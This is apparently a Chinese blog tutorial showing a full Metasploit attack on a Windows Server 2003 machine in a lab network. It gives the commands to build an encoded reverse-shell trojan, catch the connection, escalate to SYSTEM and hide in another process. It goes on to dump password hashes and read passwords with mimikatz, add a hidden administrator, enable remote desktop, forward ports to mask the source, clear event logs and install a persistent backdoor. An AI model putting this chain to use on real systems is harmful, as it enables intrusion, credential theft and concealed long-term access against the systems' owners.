(伪)msf渗透win2k3流程

anonym1 2017-4-30 原创推荐 0 1

注意:本文在实战中没有太大作用,仅仅为一种流程、思路,起到科普性作用。

1.运行msf

1.service postgresql start 启动postgresql数据库

2.msfdb start 启动msf的数据库

3.msfconsole 启动msf

2.进入msf后,db_status查看与postgresql的连接状态

图片1

已连接,进行下一步;如果显示not conneted则转到此处。(最下面)

图片2

3.利用msfvenom生成木马

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=10.10.10.144 lport=4444 -b "\x00" -i 7 -e x86/shikata_ga_nai -f exe -o 1.exe

图片3

图片4将木马发给2k3运行或者发到apche目录,2k3访问下载(同网段)

4.将木马放到/var/www/html的目录下

cp  1.exe  /var/www/html/图片5

5.win2k3访问10.10.10.144/1.exe 下载木马,我的测试没有用,暂时不知道原因

6.在msf下设置监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

show options

set lhost 10.10.10.144

图片6

7.在win2k3运行木马,在msf下获得meterpreter

图片7

8.getuid 查看用户权限

图片8

9.getsystem提权,提权后getuid查看权限

图片9

10.machine_id查看机器码

图片10

11.getpid查看木马进程号

图片11

12.ps查看进程,migrate 2820 将exe进行会话迁移(进程注入)到pid=2820的程序

图片12

图片13

此时2k3的1.exe进程已经消失了,但只要2820不关,关机前meterpreter一直有, 这样可以在木马进程被发现杀掉仍然保持meterpreter存在

13.hashdump读出密码的hash值

图片14

14.load mimikatz加载mimikatz,help mimikatz查看功能,kerberos读取密码

图片15

图片16

图片17

15.shell进入cmd,net user 查看用户,net user 123 123 /add添加用户

图片18

16.查看并开启3389远程桌面

meterpreter下run post/windows/manage/enable_rdp

图片19

另一种方法cmd下

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal””Server /v

fDenyTSConnections /t REG_DWORD /d 00000000 /f 修改注册表键值开启3389端口

此方法失败

run getgui -e脚本提示meterpreter版本不适合,失败(好多脚本不适合,不知原因)

 

不过此时用123用户登录时无法登录的,因为他不在超级管理员组

图片20

17.net localgroup  win2k3下查看超级管理员组kali下不成功,不过一般有Administrator

图片21

18.net localgroup administrators 123 /add 将用户添加到超级管理员组

 

如果无法添加到超管组,则用下面一条命令

net localgroup "remote desktop users" 123 /add

这样也可以登录3389,是给123一个登录3389的较低权限

 

19.如果贸然用3389连接极有可能被管理员发现从而前功尽弃

图片22

两种做法判断管理员是否在使用此服务器

  • load vnc
  • screenshoot多次截屏查看
  • load espia然后screengrap 与2作用相同,不过自动打开了截图

20.利用端口转发来更改访问ip以达到隐藏自己目的

端口转发

portfwd add -l 8888 -r 10.10.10.146 -p 3389

rdesktop 127.0.0.1:8888

 

转发删除

portfwd delete -l 8888 -r 10.10.10.146 -p 3389

测试的时候虽然调了32位打开的命令,但连接还是卡住了,不知道什么鬼

 

21.为防止被反向追踪需要进行痕迹清理

1.删除建立的用户

图片23

cmd下net user 123 /del

2.关闭打开的3389端口,可以手动也可以用命令去关

meterpreter下

run multi_console_command -rc    /root/.msf4/loot/20170417063929_default_10.10.10.146_host.windows.cle_762741. txt

图片24

(原先kali出了问题我更换了虚拟机测试了)

3.清除日志

图片25

meterpreter下clearev

图片26

 

22.留后门

run persistence -X -i 10 -p 4444 10.10.10.144

开机后自启动(-X),10s(-i 10)重连一次,使用的端口为4444(-P 4444),连接 的目的IP为10.10.10.144

use exploit/multi/handler 来监听,注意监听端口要设置的和后门端口一致

 

 

针对[*] postgresql selected, no connection

msf启动:

service postgresql  restart

msfdb start

msfconsole

查看数据库连接状态

msf > db_status

[*] postgresql selected, no connection

 

在msf下或者终端下输入都可

root@phage:~# msfdb

Manage a metasploit framework database

msfdb init    # initialize the database

msfdb reinit  # delete and reinitialize the database

msfdb delete  # delete database and stop using it

msfdb start   # start the database

msfdb stop    # stop the database

 

初始化数据库

root@phage:~#  msfdb reinit

Creating database user 'msf'

为新角色输入的口令:

再输入一遍:

Creating databases 'msf' and 'msf_test'

Creating configuration file in /usr/share/metasploit-framework/config/database.yml

Creating initial database schema

 

找到刚初始化的数据库

root@kali:~# cd /usr/share/metasploit-framework/config/

root@kali:/usr/share/metasploit-framework/config# ls

application.rb  database.yml          database.yml.vagrant

boot.rb         database.yml.example  environment.rb

cucumber.yml    database.yml.travis   environments

查看刚初始化的数据库

root@kali:/usr/share/metasploit-framework/config# vim database.yml

development:

adapter: postgresql

database: msf

username: msf

password: htmpowc6rtTuIOvLPtStpdKt5o4X83wkJkVlfnTqioc=

host: localhost

port: 5432

pool: 5

timeout: 5

 

production:

adapter: postgresql

database: msf

username: msf

password: htmpowc6rtTuIOvLPtStpdKt5o4X83wkJkVlfnTqioc=

host: localhost

port: 5432

pool: 5

timeout: 5

 

test:

adapter: postgresql

database: msf_test

username: msf

password: htmpowc6rtTuIOvLPtStpdKt5o4X83wkJkVlfnTqioc=

host: localhost

port: 5432

pool: 5

timeout: 5

重新重复

service postgresql  restart

msfdb start

msfconsole

msf > db_status

[*] postgresql connected to msf

 

注:本文只是起到一个扫盲作用,对实际渗透没有作用,在实际的渗透工作中不会像本文所说的这样进行,本文只是提供了一个大体思路,详细流程还有待实践与学习。水平有限,有错尽管挑,当然也希望老哥们能给出意见。

【网站投稿文章】投稿人:PhAGe  联系方式:nmbear0@gmail.com

转载请注明来自华盟网,本文标题:《(伪)msf渗透win2k3流程》

喜欢 (1) 发布评论